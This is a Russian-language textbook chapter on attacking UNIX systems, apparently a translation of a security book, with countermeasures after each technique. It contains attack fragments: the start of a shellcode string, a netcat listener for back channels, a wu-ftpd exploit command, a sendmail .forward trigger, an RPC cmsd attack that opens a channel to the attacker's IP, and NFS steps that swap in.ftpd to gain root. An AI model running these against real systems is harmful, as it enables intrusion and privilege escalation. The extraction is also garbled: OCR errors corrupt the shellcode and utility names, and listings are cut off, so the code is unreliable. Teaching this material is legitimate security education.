Составление схемы уязвимых мест Составление схемы уязвимых мест (vulnerability mapping) — это процесс нахождения соответствия между определенными атрибутами безопасности системы с соответствующими явными или потенциальными изъянами. Данный этап является критичным при проведении реального обследования системы, поэтому его важность нельзя недооценивать. Взломщик должен обязательно составить схему, показывающую, как атрибуты, такие как находящиеся в состоянии ожидания службы, определенные версии запущенных серверов (например, Apache 1.3.9 для HTTP и sendmail — для SMTP), архитектура системы, информация о пользовательских именах и так далее, соотносятся с потенциальными дефектами системы защиты. Для выполнения этой задачи взломщик может воспользоваться одним из следующих методов.
У каждого из этих методов имеются свои достоинства и недостатки. Однако необходимо отметить, что только взломщики с низкой квалификацией (так называемые "script kiddies" — малыши) пропускают этап составления схемы уязвимых мест, сразу же пытаясь применить к интересующей их системе первый попавшийся инструмент, не имея ни малейшего представления о том, как и почему данный инструмент может привести к получению результата. Мы нередко были свидетелями реальных попыток взлома с помощью утилит, предназначенных для использования в системе UNIX, которые применялись для проникновения в систему Windows NT. Нет необходимости говорить о том, что такие горе-взломщики сразу же выдавали свою некомпетентность и никогда не добивались желаемого результата. В следующем списке приведена последовательность операций, которые необходимо выполнить при составлении схемы уязвимых мест.
|
Удаленный и локальный доступ Остальной материал данной главы разбит на две части, первый из которых посвящен использованию удаленного доступа, а второй — локального. Удаленный доступ (remote access) определяется как доступ к системе, получаемый по сети (например, через сетевую службу, находящуюся в состоянии ожидания) или по другим коммуникационным каналам. О локальном доступе (local access) говорят в тех случаях, когда в распоряжении взломщика уже имеется интерактивный доступ к командной оболочке (command shell) или учетная запись для регистрации в системе (login). Попытки взлома при наличии локального доступа называются также атаками, направленными на расширение привилегий (privilege escalation attack). Важно понимать взаимосвязь удаленного и локального доступа. Логическая последовательность выполняемых взломщиком действий заключается в проникновении с помощью удаленного доступа, используя какой-либо изъян в защите службы, находящейся в состоянии ожидания запросов, с последующим получением локального доступа к командной оболочке. После получения интерактивного доступа к командной строке взломщик считается локальным пользователем системы. Поэтому сначала мы попытаемся логически отделить те типы взломов, которые используются для получения удаленного доступа, а затем рассмотрим соответствующие примеры. После этого мы покажем типичные методы, с помощью которых хакер, получивший удаленный доступ, может расширить свои локальные привилегии с целью сбора информации о локальной системе. Впоследствии с помощью этой информации он может попытаться расширить сферу своего влияния. Необходимо подчеркнуть, что данная глава, конечно же, не является исчерпывающим руководством по обеспечению безопасности системы UNIX. Если вам нужна более подробная информация, можно порекомендовать книгу Practical UNIX & Internet Security Симеона Гарфинкеля (Simson Garfinkel) и Джена Спаффорда (Gene Spafford). Кроме того, ограниченный объем данной главы не позволяет включить в нее описание всех возможных методов проникновения в систему UNIX, особенно с учетом всего разнообразия ее клонов и версий. Мы лишь попытаемся определить категории возможных методов взлома и изложить их теоретические основы. При появлении новых методов атак эта информация позволит быстрее разобраться, как эти методы работают, даже если в литературе вы не найдете соответствующего описания. Как видите, мы предпочитаем не просто однократно "накормить голодного", а "научить его ловить рыбу, чтобы он смог сам прокормить себя в любое время". |
Удаленный доступ Как уже говорилось выше, для удаленного доступа используется локальная сеть или какой-либо другой коммуникационный канал, такой как модемная связь с системой UNIX, выступающей в роли сервера удаленного доступа. Исходя из нашего опыта, мы можем сказать, что большинство организаций заботит именно безопасность удаленного доступа, осуществляемого по каналам аналоговой связи или ISDN. Однако мы ограничим наше исследование лишь методами получения доступа к системе UNIX по сети через протокол TCP/IP. В конце концов, протокол TCP/IP является краеугольным камнем Internet, поэтому именно эта тема заслуживает первоочередного внимания при обсужле-нии вопросов обеспечения безопасности UNIX.
В этом разделе мы рассмотрим типичные методы удаленных атак, которые подпадает под одну из приведенных выше категорий. Если вы хотите понять, как взломщику далось проникнуть в систему, попробуйте найти ответы на три следующих вопроса. Подбор паролей Обсуждение возможных методов взлома системы UNIX мы начнем с одного из самых популярных — подбора пароля путем простого перебора всех возможных вариантов, т.е. атаки "в лоб" (brute force attack). Такой подход может претить эстету хакинга, но, так или иначе, он был и остается одним из самых эффективных способов получения доступа к системе UNIX. Взлом путем перебора представляет собой не что иное, как подбор комбинации "идентификатор UID/пароль" для получения доступа к службе, которая до предоставления определенных привилегий выполняет аутентификацию пользователя. Среди самых популярных типов служб, которые чаще всего подвергаются подобным атакам можно выделить следующие.
Как вы помните из предыдущих глав, посвященных исследованию сети и инвентаризации сетевых ресурсов, одной из самых главных задач, которые необходимо решить взломщику на этом этапе, — это установить реальные идентификаторы пользователей системы. С этой целью могут использоваться такие службы, как finger, rusers и sendmail. Получив список пользовательских учетных записей, взломщик может попытаться получить доступ к интересующей его системе путем подбора пароля к одной из этих учетных записей. К сожалению, многие пользовательские учетные записи защищаются либо с помощью легко угадываемого пароля, либо вовсе не имеют пароля. Самым лучшим примером этого правила является учетная запись рядового пользователя, в которой, как правило, пользовательское имя и пароль идентичны. Чем больше пользователей имеют доступ к системе, тем больше вероятность, что в ней найдется по крайней мере один такой пользователь. Можете поверить нам на слово, на своем веку мы встречали тысячи подобных случаев, занимаясь проверкой безопасности разных компаний. Почему же это явление столь распространено? Все очень просто: во-первых, люди не задумываются о том, как нужно выбирать пароли, а во-вторых, от них никто этого не требует.
Защита от подбора паролей "в лоб" Наилучшим способом защиты от подбора пароля является использование трудно угадываемых паролей. В идеальном случае желательно использовать механизм одноразовых паролей. Существует ряд бесплатных утилит (табл. 8.1), с помощью которых решение задачи подбора пароля можно значительно затруднить. Таблица 8.1.Бесплатные утилиты, которые позволяют защититься от подбора паролей "в лоб"
Дополнительную информацию по выбору паролей можно найти в документе AusCERT SA-93:04. |
Взлом с использованием данных Обсудив "притчу во языцах" — взлом с помощью подбора паролей, — можно перейти к другому методу, также ставшему стандартом "де факто" при получении удаленного доступа. Этот метод заключается в использовании для взлома определенных данных (data driven attack), отправляемых активной службе, что позволяет получить неожиданные или нежелательные результаты. Конечно, формулировка "неожиданные или нежелательные" достаточно субъективна. Все зависит от того, кто вы — хакер или же программист, разработавший соответствующую службу. С точки зрения взломщика, результат может быть более чем желательным, поскольку в этом случае он сможет получить доступ к интересующему его компьютеру. С точки зрения же программиста, программа, получившая данные, к приему которых она не была готова, выдает нежелательные результаты. Методы взлома с использованием данных можно разделить на две категории: атака путем переполнения буфера и взлом при отсутствии проверки ввода. В последующих подразделах каждая из этих категорий будет рассмотрена более подробно. Взлом путем переполнения буфера В ноябре 1996 года подходы к компьютерной безопасности изменились раз и навсегда. Ведущий списка рассылки Bugtraq Алеф Ван (Aleph One) опубликовал в номере 49 журнала Phrack Magazine, посвященного вопросам безопасности, статью под названием "Разрушение стека для развлечения и извлечения выгоды" (Smashing The Stack For Fun And Profit). Эта статья произвела колоссальный эффект на состояние дел в сфере обеспечения безопасности, поскольку в ней очень ясно показано, как практика некачественного программирования может привести к нарушению безопасности путем переполнения буфера. Первые упоминания об использовании этой методологии датируются 1988 годом в связи с нашумевшим делом о сетевом черве Роберта Морриса (Robert Morris), однако полезной информации о ее конкретных подробностях не было вплоть до 1996 года. char shellcode[]= "\xeb\xlf\x5e\x89\x76\x08\x31\xcO\ Очевидно, что взлом с помощью переполнения буфера чрезвычайно опасен. Достаточно сказать, что он не раз использовался во многих успешных попытках получения несанкционированного доступа. Приведенный выше пример очень прост. На самом деле работающий код создать очень трудно. Однако зачастую изобретать велосипед не приходится: множество таких "яиц" уже было создано хакерами и помещено в Internet. Описание деталей процесса создания "яйца" выходит за рамки этой книги, поэтому мы советуем познакомиться с упоминавшейся выше статьей хакера Алефа Вана в журнале Phrack Magazine. Если вы хотите улучшить свои навыки написания ассемблерного кода, прочтите книгу Криса Дрейка (Chris Drake) и Кимберли Браун (Kimberley Brown) Panic — UNIX System Crash and Dump Analysis. Кроме того, группа программистов и специалистов по безопасности Тесо (Teso) разработала несколько утилит, которые позволяют автоматически генерировать подобный код. Эти средства можно найти по адресу http://teso.scene.at/releases.php. Контрмеры: защита от атак с использованием переполнения буфера
Практика безопасного кодирования Лучшим методом зашиты от переполнения буфера является практика кодирования, учитывающего все требования обеспечения безопасности. Хотя на практике невозможно спроектировать и запрограммировать систему таким образом, чтобы в ней не было ни одной ошибки, существуют подходы, способные минимизировать вероятность возникновения переполнения буфера. Среди таких рекомендаций можно выделить следующие.
Тестирование и аудит каждой программы Очень важно выполнять тестирование и аудит каждой программы. Очень часто случается, что программисты даже не задумываются о том, может ли в их программе возникнуть ошибка переполнения буфера. Однако всегда найдется кто-нибудь, кто не только задумается над этим, но и приложит все усилия для того, чтобы найти такие ошибки и воспользоваться ими в своих целях. Одним из лучших примеров тестирования и аудита кода UNIX является проект OpenBSD (www.openbsd.org), которым руководит Тео де Раадт (Theo de Raadt). Программисты, работающие над проектом OpenBSD, постоянно проверяют и перепроверяют исходный код друг друга и уже исправили сотни ошибок, которые могут привести к переполнению буфера, не говоря уже о более серьезных проблемах, имеющих отношение к безопасности. Именно из-за столь грамотного подхода к тщательному аудиту, применяемого разработчиками OpenBSD, эта операционная система заслужила репутацию одной из самых надежных из свободно распространяемых версий UNIX. Отключение неиспользуемых или потенциально опасных служб На протяжении этой главы мы будем возвращаться много раз к этому вопросу. Если какие-то неиспользуемые или потенциально опасные службы не являются жизненно необходимыми для работы системы UNIX, отключите их. Помните, что ни один злоумышленник не может проникнуть в систему через неработающую службу. Кроме того, мы настоятельно рекомендуем использовать TCP-оболочки (tcpd) и xinetd (http://www. synack.net/xinetd/) для того, чтобы можно было применить избирательные списки управления доступом на уровне служб, а также воспользоваться дополнительным возможностями регистрации событий. Конечно, не к каждой службе можно применить оболочку. Однако применение этого средства лишь к некоторым службам может значительно повысить защищенность вашей системы. Кроме того, оцените возможность использования режима фильтрации пакетов на уровне ядра, поддержка которого уже стала стандартной для большинства бесплатных операционных систем UNIX (например, ipchains или netf liter для Linux, ipf для BSD). Хорошие рекомендации по использованию ipchains для обеспечения безопасности можно найти по адресу http://www.linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html. Пакет ipf Даррена Рида (Darren Reed) является одним из лучших и может быть добавлен во многие версии системы UNIX. Для получения об этом пакете более подробной информации обращайтесь по адресу http: //www.obfuscation. rg/ ipf / ipf-howto. html. Отключение режима поддержки выполнения стека Некоторые радетели чистоты нередко прибегают даже к отключению режима поддержки выполнения стека (stack execution), чтобы обеспечить защиту каждой программы от взлома с помощью переполнения буфера. Хотя такое решение может привести к некоторым побочным эффектам, в большинстве систем оно все же обеспечивает защиту от скрытого использования уязвимых мест. Для Linux имеется модуль обновления, позволяющий отключить режим поддержки выполнения стека, который можно применять в системах с ядром версий 2.0.x и 2.2.x Первым разработал такой модуль хакер Solar Desinger (http://www.false.com). Этот модуль обновления, ценный в основном для программистов, можно найти по адресу http: //www. openwall. com/linux/. Взлом при отсутствии проверки ввода В 1996 году Дженифер Майерс (Jennifer Myers) идентифицировал ставший впоследствии широко известным изъян PHF. Хотя атаки с использованием этого изъяна уже отошли в прошлое, на его примере очень хорошо видно, как может осуществляться взлом при отсутствии проверки ввода (input validation attack). Если вы разберетесь в основном механизме этого метода, то сможете применить полученные знания и к другим подобным подходам. В данной главе мы не будем посвящать много времени этой теме, поскольку она подробно рассматривается в главе 15. Наша цель — лишь показать, что из себя представляет взлом при отсутствии проверки ввода и как с его помощью злоумышленник может получить доступ к системе UNIX.
PHF— это сценарий CGI (Common Gateway Interface— интерфейс общего шлюза), ставший стандартом в ранних версиях Web-сервера Apache и сервера HTTPD центра NCSA (National Center for Supercomputing Applications — Национальный центр суперкомпьютерных приложений). К сожалению, эта программа не в состоянии ни правильно провести синтаксический анализ входных данных ни проверить их пригодность. Исходная версия сценария PHF принимала символ новой строки (%0а) и выполняла следующие за ним команды с привилегиями пользователя, запустившего Web-сервер. Поэтому сразу же был изобретен метод взлома PHF, показанный ниже. Контрмеры Как уже упоминалось раньше, одним из лучшим способов превентивной защиты является разработка программ с учетом требований обеспечения безопасности. Это же правило можно в полной мере применить и к защите от описанного выше взлома. Абсолютно необходимо, чтобы программы и сценарии воспринимали только те данные, которые они должны воспринимать. В разделе часто задаваемых вопросов WWW Security, расположенном по адресу http://www.w3.org/Security/Faq/www-security-faq.html, содержится важная информация о том, как сделать защищенными программы CGI. Поскольку очень трудно выполнять проверку каждой порции входных данных, лучше, чтобы эти процедуры по умолчанию отбрасывали все критические данные. Кроме того, после компиляции тщательно контролируйте и тестируйте весь программный код. |
Интерактивный доступ к командной оболочке Обсудив два основных метода получения доступа к системе UNIX, необходимо поговорить и об методах, используемых для получения доступа к командной оболочке (shell account access). Необходимо помнить, что основной целью любого взломщика является получение доступа к командной строке или к командной оболочке интересующей его системы. Традиционный метод получения интерактивного доступа к командной оболочке заключается в удаленной регистрации на сервере UNIX с помощью таких программ, как telnet, rlogin или ssh. Кроме того, можно выполнять команды, используя утилиты rsh, ssh, или rexec, не проходя этапа удаленной регистрации. У вас может возникнуть вопрос — а что, если все службы, поддерживающие удаленный доступ, отключены или заблокированы на уровне брандмауэра? Может ли в этом случае взломщик получить доступ к командной оболочке целевой системы? Хороший вопрос. Давайте рассмотрим один пример, на котором можно исследовать различные методы, с помощью которых взломщик может получить интерактивный доступ к командной оболочке UNIX. Эти методы иллюстрируются на рис. 8.1.
Предположим, что взломщик пытается получить доступ к Web-серверу, работающему под управлением операционной системы UNIX, который находится в сегменте так называемой "демилитаризованной зоны" (DMZ) — небольшой сети, размешенной за промышленным маршрутизатором или брандмауэром, защищающим внутреннюю сеть. Тип и модель брандмауэра или маршрутизатора не имеют особого значения. Важно лишь понимать, что такое устройство относится к классу маршрутизирующих брандмауэров, которые не выполняют функций сервера-посредника ни для одной из служб. Предположим, что единственные службы, которая поддерживается брандмауэром, — это HTTP (порт 80) и HTTP поверх SSL (HTTPS) (порт 443). Теперь предположим, что Web-сервер не может противостоять попыткам взлома, например, основанным на изъяне PHF. Кроме того, пусть Web-сервер работает на уровне привилегий пользователя nobody, что является широко распространенной практикой и считается хорошим решением с точки зрения безопасности. Таким образом, если взломщику удастся проникнуть на Web-сервер, используя недостатки в обработке ввода PHF, он сможет выполнять код на сервере с уровнем привилегий пользователя nobody. Это, конечно, важно, но возможность запуска выполняемого кода — лишь первый шаг в получении интерактивного доступа к командной оболочке. Операции в системе X После того как взломщик получил возможность выполнять команды на Web-сервере, используя недостатки в реализации PHF, первым из методов, которыми он воспользуется для получения интерактивного доступа к командной оболочке, будет применение средств X Window системы UNIX (далее — просто X). X — это система оконного интерфейса, которая позволяет разным программам использовать один и тот же графический дисплей. Система X чрезвычайно устойчива и позволяет поддерживающим ее клиентным программам отображать свои результаты на локальном или на удаленном сервере X (с использованием портов 6000-6063). Один из самым удобных для взломщика инструментов в этом случае является клиентная программа xterm. Эта программа предназначена для запуска локальной командной оболочки, работающей под управлением X. Однако, применив параметр -display, взломщик может перенаправить командную оболочку на сервер X собственного компьютера. Вот так — быстро и просто. Реверсивный сеанс telnet и обратные каналы Безусловно, программа xterm представляет собой самое простое средство получения контроля над системой UNIX. Однако как быть в том случае, если об этом знает не только злоумышленник, но и администратор, удаливший систему X? Эта мера, конечно же, повысит безопасность системы UNIX, но одной ее недостаточно, так как в распоряжении потенциального взломщика остается еще много других методов получения несанкционированного доступа. Одним из таких методов, в частности, является создание обратных каналов. В данном случае термин обратный канал (back channel) применяется для описания механизма, с помощью которого коммуникационный канал создается по направлению от взламываемого узла к компьютеру взломщика, а не наоборот, как при использовании обычных коммуникационных каналов. Нужно напомнить, что в рассматриваемом примере взломщик не может получить интерактивный доступ к командной оболочке обычным способом, так как все порты, кроме 80 и 443, блокируются брандмауэром. Таким образом, злоумышленник должен добиться того, чтобы взламываемый сервер инициировал сеанс с его компьютером, т.е. создать обратный канал. [tsunami]! nc -I -n -v -p 80 Прежде чем запускать утилиту пс, убедитесь, что в вашей системе с входящими портами 8 С и 25 не связано никаких служб, находящихся в режиме ожидания запросов, например HTTPD или sendmail. Если такие службы имеются, необходимо завершить выполнение соответствующих процессов с помощью команды kill, чтобы освободить требуемые порты для утилиты пс. Параметр -1 означает, что утилиту пс необходимо запустить в режиме ожидания запросов; параметр -v включает режим вывода подробной информации; параметр -n указывает, что IP-адреса не нужно преобразовывать в имена узлов, а параметр -р определяет порт, который будет прослушиваться. Контрмеры: защита от попыток создания обратных каналов Противостоять попыткам создания обратного канала очень трудно. Самой лучшей превентивной мерой является применение всех средств обеспечения безопасности, что позволит устранить возможность использования подобного метода. К таким мерам относятся отключение ненужных служб и применение всех модулей обновления сразу же после их появления.
|
Часто используемые методы удаленного взлома Хотя мы не сможем описать все возможные методы удаленного взлома, однако, как нам кажется, у вас уже должно было выработаться общее представление об основных принципах подобных атак, на основании которого вы сможете самостоятельно разобраться в тех или иных конкретных методах. Перед завершением обсуждения методов удаленного взлома мы хотим рассмотреть несколько важных служб, часто подвергающимся таким атакам, а также указать, с помощью каких контрмер можно снизить риск использования этих служб для проникновения в систему в тех случаях, когда отключение службы не представляется возможным. TFTP Протокол TFTP (Trivial File Transfer Protocol — простой протокол передачи файлов) обычно используется для загрузки бездисковых рабочих станций или сетевых устройств. таких как маршрутизаторы. TFTP — это основанный на UDP протокол, который использует порт 69 и характеризуется очень низким уровнем безопасности. Практически каждый случай, когда взломщик встречает систему, на которой запущен сервер TFTP, заканчивается попыткой получения через TFTP копии файла /etc/passwd. Если сервер TFTP не настроен должным образом, это приводит к тому, что система без малейшего сопротивления позволяет скопировать этот файл. Тем самым в руки взломщика попадает файл с информацией о пользовательских именах, после чего он может попробовать подобрать пароль. Кроме того, если пароли не хранятся в файле /etc/shadow, то, помимо пользовательских имен, взломщик получает также и зашифрованные пароли, в результате чего им может быть предпринята попытка их взлома или подбора. Контрмеры: защита TFTP Убедитесь в том, что сервер TFTP ограничивает доступ к определенным каталогам, таким как /tftpboot. Это воспрепятствует взломщикам получить важную информацию о конфигурации системы. Кроме того, рассмотрите возможность реализации механизма управления доступом на уровне всей сети в целом и на уровне отдельных узлов, который запрещал бы несанкционированный доступ к серверу TFTP. FTP В настоящее время протокол FTP (File Transfer Protocol), позволяющий обмениваться файлами с удаленными системами, является одним из наиболее популярных. Это одна из причин, по которым он часто используется для несанкционированного доступа к удаленным системам или скрытной записи файлов. Многие FTP-серверы разрешают анонимный доступ, т.е. позволяют подключаться любому пользователю без какой-либо аутентификации. Обычно при этом файловая система, доступная анонимному пользователю, ограничивается определенными каталогами. Однако иногда бывает так, что анонимный пользователь может получить доступ к любому каталогу и файлу системы. Такая оплошность системного администратора дает возможность взломщику найти важные конфигурационные файлы, прежде всего /etc/passwd. Что еще хуже, многие FTP-серверы позволяют всем пользователям записывать информацию в свои каталоги. Такая "гремучая смесь" является "миной замедленного действия", подложенной под систему защиты. Например, взломщик может поместить файл .rhosts в личный каталог пользователя, чтобы впоследствии подключиться к системе с помощью утилиты rlogin. Кроме того, многие FTP-серверы взломаны охотниками за программным обеспечением, которые помешают нелегальные программы в скрытых каталогах. Поэтому, если нагрузка на вашу сеть возрастет за день в три раза, это может служить косвенным признаком того, что вашу систему используют для копирования очередной пиратской копии. [thunder]# wugod -t 192.168.1.10 -sO Подобная атака оказывается поистине смертельной. Анонимного доступа к уязвимому FTP-серверу, который поддерживает выполнение определенных команд, вполне достаточно, чтобы получить доступ с правами root. Контрмеры: защита FTP Хотя протокол FTP очень полезен, необходимо помнить, что разрешение анонимного доступа к FTP-серверу может весьма пагубно сказаться на "самочувствии" вашего сервера. Оцените необходимость использования FTP-сервера и определите, нужно ли предоставлять возможность анонимного доступа. В таких случаях для защиты сервера необходимо предпринять специальные меры. Очень важно установить самые последние версии модулей обновления, а также запретить или как минимум oipami-чить количество каталогов, в которые разрешена запись всем пользователям. А лучше вовсе откажитесь от таких каталогов. sendmail Данная тема столь обширна, что вполне заслуживает отдельной книги. С чего же начать? Программа sendmail — это агент рассылки электронной почты (МТА — mail transfer agent), используемый во многих системах UNIX. Из всех программ UNIX sendmail, пожалуй, является самой "вредной". Она обладает очень широким набором функций, в связи с чем позволяет настраивать свои параметры самыми разными способами и является очень сложной в использовании. Фактически о первых попытках взлома sendmail стало известно еще в 1988 году и с тех пор ее использовали для получения несанкционированного доступа к нескольким тысячам систем. Одно время была даже популярной такая шутка: "Какая ошибка в sendmail признана лучшей ошибкой недели?" В течение последних лет sendmail была значительно улучшена в плане безопасности, но она по-прежнему остается очень большой программой, исходный код которой содержит более 80000 строк. Таким образом, вероятность обнаружения новых изъянов в системе зашиты по-прежнему достаточно велика. hello Помимо универсальных методов, направленных на переполнение буфера или взлом при отсутствии проверки ввода, для получения несанкционированного доступа часто применяются средства, специфичные для sendmail. Например, одним из распространенных методов является создание или модификация пользовательского файла -/.forward с применением FTP или NFS при условии, конечно, что у взломщика имеется доступ для записи в рабочий каталог этого пользователя. В файле -/.forward обычно содержатся сведения о том, куда нужно перенаправлять почтовые сообщения или какие программы нужно запускать при ее поступлении. Очевидно, что для взломщика этот файл представляет собой "лакомый кусочек", а его модификация открывает перед злоумышленником весьма богатые возможности. Давайте рассмотрим пример того, что взломщик может добавить в файл ~/.forward выбранной им жертвы. [tsunami]$ cat > .forward Создав такой файл, взломщик помещает его в соответствующий пользовательский каталог взламываемой системы (естественно, при условии, что у него имеется право записи в этот каталог). Затем ему остается лишь отправить почту по адресу жертвы. [tsunami]$ echo hello chump | mail gk@targetsystem.com Контрмеры: защита программы sendmail Лучшим методом защиты от попыток взлома sendmail является отказ от ее использования во всех случаях, когда эта программа не используется для получения почты по сети. Если использовать sendmail все же необходимо, обязательно убедитесь в том, что в вашем распоряжении имеется ее самая свежая версия, в которой установлены все модули обновления системы защиты (http://www.sendmail.org). К другим мерам относится удаление из соответствующего файла всех псевдонимов. Исследуйте каждый псевдоним, который указывает на программу, а не на учетную запись пользователя. Кроме того, убедитесь, что разрешения, заданные для соответствующих файлов, запрещают внесение в них каких-либо изменений. Службы удаленного вызова процедур (RPC) Удаленный вызов процедур (RPC — Remote Procedure Call) — это механизм, который позволяет программе, работающей на одном компьютере, выполнять программный код на удаленном компьютере. Одна из первых реализаций службы RPC была разработана компанией Sun Microsystems и использовалась в системе, базирующейся на протоколе XDR (внешнее представление данных — eXtemal Data Representation). Целью этой системы было обеспечение взаимодействия сетевой информационной службы (NIS — Network Information System) и сетевой файловой системы (NFS — Network File System), созданных компанией Sun. После разработки компанией Sun Microsystems службы RPC многие другие производители операционных систем семейства UNIX также стали включать поддержку RPC в свои продукты. С точки зрения обеспечения взаимодействия распространение и стандартизация RPC — это очень важно и полезно. Однако при разработке службы RPC вопросам безопасности практически не уделялось никакого внимания. Несмотря на то что и компания Sun, и другие разработчики приложили все усилия, для того, чтобы устранить имеющиеся недостатки в уже используемом программном обеспечении и выпустить соответствующие модули обновления, нередко оказывается, что механизм RPC по-прежнему таит в себе немало проблем, связанных с огромным количеством ошибок в системе защиты. [rumble]* cmsd.sh quake Как показано ниже, эту атаку позволяет упростить простой сценарий оболочки, в котором вызывается утилита cmsd. При этом необходимо знать имя удаленного узла. В рассматриваемом примере таким именем является quake. Кроме того, используется также IP-адрес этого узла, 192.168.1.11, а также тип системы (2), что эквивалентно системе Solaris 2.6. Эта информация оказывается чрезвычайно важной, поскольку утилита "приспосабливается" к каждой конкретной системе. И наконец, мы указали также IP-адрес компьютера взломщика (192 .168 .1.103) и установили обратный канал с использованием программы xterm (рис. 8.2).
#!/bin/sh
Контрмеры: защита служб RFC Лучшим методом защиты от удаленных атак является отключение всех служб RPC, в использовании которых нет острой необходимости. Если же какая-то служба RPC очень важна для работы сервера, подумайте над установкой какого-либо устройства управления доступом, с помощью которого связь с необходимыми портами RPC можно было бы разрешить только строго определенным узлам. В некоторых случаях эта задача может оказаться весьма непростой. Подумайте также над включением режима, запрещающего выполнение стека, если такой режим поддерживается вашей операционной системой. Наконец. попробуйте использовать Secure RPC, если имеющаяся в вашем распоряжении версия UNIX поддерживает такие средства. Secure RPC обеспечивает дополнительный уровень аутентификации, основанной на шифровании по открытому ключу. Помните, что Secure RPC — это не панацея, поскольку многие разработчики UNIX не поддерживают этого протокола. Другими словами, при использовании протокола Secure RPC повышается безопасность, но под угрозой может оказаться взаимодействие. Наконец, убедитесь в том, что установлены все самые последние модули обновления, разработанные поставщиком используемой вами системы. NFS В документах компании Sun Microsystems можно встретить такое определение: "Сеть — это и есть компьютер". Действительно, возможности компьютера, не подключенного к сети, гораздо уже, чем его собрата, включенного в локальную или глобальную сеть. Возможно, именно из-за этого сетевая файловая система (NFS — Network File System) является одной из самых популярных файловых систем, предназначенных для поддержки сетевой обработки данных. Система NFS обеспечивает пользователям и приложениям прозрачный доступ к файлам и каталогам удаленных систем, как если бы эти файлы и каталоги были локальными. NFS была разработана компанией Sun Microsystems, и за годы, прошедшие после выхода версий 1 и 2, была значительно усовершенствована. В настоящее время система NFS версии 3 используется в большинстве современных клонов UNIX. Именно поэтому администратор любой системы, разрешающей удаленный доступ к экспортируемой файловой системе, должен быть особенно бдительным. Вероятность использования системы NFS для проникновения в сеть очень высока, а нарушения такого рода являются одними из самых распространенных нарушений безопасности UNIX. Это связано, во-первых, с -тем, что в сервере NFS (mountd) уже выявлено очень много потенциальных ошибок, приводящих к переполнению буфера. Кроме того, системой NFS используются службы RPC, что позволяет взломщикам смонтировать удаленную файловую систему. Большинство проблем, связанных с безопасностью NFS, имеет то или иное отношение к объектам, называемым дескрипторами файлов (file handle). Дескрипторы файлов — это уникальные маркеры, предназначенные для идентификации файлов и каталогов удаленного сервера. Если взломщику удастся выведать или подобрать дескриптор удаленного файла, он сможет легко получить к нему доступ. [tsunami]# rpcinfo -p quake Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запушены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему. [tsunami]# showmount -е quake Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом примере экспортируемыми является не только файловая система /usr, но и /, что связано с очень большим риском. Все, что нужно сделать взломщику для получения доступа к такой системе, — это воспользоваться командой mount / или mount /usr. После этого он получит доступ к любому файлу файловой системы / или /usr, в соответствии с разрешениями, заданными для файлов и каталогов. Команда mount входит в состав большинства клонов UNIX, хотя она оказывается и не такой гибкой, как некоторые другие средства. Для того чтобы познакомиться с особенностями использования команды mount более подробно, введите команду man mount, так как в некоторых случаях ее синтаксис может отличаться от того, который вы увидите в приведенном ниже примере. [tsunami n£s]# nfs Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать. nfs> host quake Затем посмотрим, какие файловые системы можно экспортировать. nfs> export Теперь, чтобы получить доступ к файловой системе /, необходимо ее смонтировать. nfs> mount / Проверим состояние соединения и определим идентификатор UID, с которым была смонтирована файловая система.
Итак, мы смонтировали файловую систему / с идентификаторами UID и GID, равными -2. Из соображений безопасности, если вы монтируете удаленную систему как суперпользователь root, ваши идентификаторы UID и GID подменяются другими значениями, отличными от 0. Поскольку мы смонтировали всю файловую систему, теперь без труда можно увидеть содержимое файла /etc/passwd. nfs> cd /etc Итак, теперь нам известны имена пользователей и соответствующие им идентификаторы. Однако файл паролей является скрытым (shadowed), поэтому им нельзя воспользоваться для взлома паролей. Поскольку мы не можем взломать ни одного пароля и, соответственно, не можем смонтировать файловую систему в качестве суперпользователя, необходимо определить другие идентификаторы пользователей, которые позволяют получить привилегированный доступ. Таким пользователем может оказаться daemon, но лучше всего остановить выбор на учетной записи bin. или UID 2, так как на многих системах пользователь bin является владельцем исполняемых файлов. Если взломщик сможет получить доступ к исполняемым файлам посредством системы NFS или каким-либо другим способом, то у большинства систем в таком случае не останется ни единого шанса на выживание. Затем нужно смонтировать систему /usr, изменить идентификаторы UID и GID, а затем попытаться получить доступ к исполняемым файлам. nfs> mount /usr Теперь мы обладаем всеми привилегиями, которыми обладает пользователь bin на удаленной системе. В нашем примере файловая система не была экспортирована с какими-то специальными параметрами, которые ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому все, что осталось сделать, — это запустить программу xterm или создать обратный канал к нашей системе, который позволит получить доступ к взламываемой системе. tt!/bin/sh Теперь нужно перейти в каталог /sbin удаленной системы и заменить исходный файл in. ftpd нашей версией. nfs> cd /sbin И наконец, необходимо указать, чтобы удаленный сервер подключился к Х-серверу нашего узла с помощью команды xhost. Для этого нужно ввести следующие команды. [tsunami]# xhost +quake В результате выполнения всех этих действий наша система станет X-терминалом удаленного узла с привилегиями root. Ввиду того что в этой системе файл in. ftpd вызывается из файла inetd с привилегиями суперпользователя, наш сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя. # id
Контрмеры: защита системы NFS Если нет острой необходимости в использовании системы NFS, то ее, а также и все связанные с ней службы (например, mountd, statd и lockd) необходимо отключить. Реализуйте механизм управления доступом, который позволил бы получать доступ к нужным файлам только санкционированным пользователям. Обычно экспортом файловых систем и включением соответствующих параметров управления доступом управляют конфигурационные файлы /etc/exports, /etc/dfs/dfstab и т.д. Некоторые параметры управления доступом позволяют задать имена компьютеров или групп, которым разрешен доступ, установить доступ только для чтения или запретить установку флага SUID. В каждой реализации системы NFS имеются небольшие различия, поэтому более подробную информацию об используемой версии поищите в документации или в справочной системе. Кроме того, никогда не включайте локальный IP-адрес сервера (или localhost) в список систем, которым разрешено монтировать файловую систему. Более старые версии службы portmapper позволяют взломщикам подключаться через proxy-серверы, работающие в интересах этих взломщиков. Если системе было разрешено монтировать экспортируемую файловую систему, взломщики могут отправить пакеты NFS службе portmapper взламываемой системы, что, в свою очередь, приведет к пересылке запроса на localhost. Такой запрос будет выглядеть так, словно он поступил с доверенного узла, что позволит ему обойти соответствующие правила управления доступом. Как всегда, в качестве последней по порядку (но не по значимости!) меры, советуем установить все модули обновления, предлагаемые разработчиками программного обеспечения. Проблемы защиты системы X Система X Window предоставляет богатый набор функций, позволяющий многим программам одновременно использовать один и тот же графический дисплей. Но с точки зрения безопасности самой большой проблемой системы X Windows является реализованная в ней модель защиты, которую коротко можно 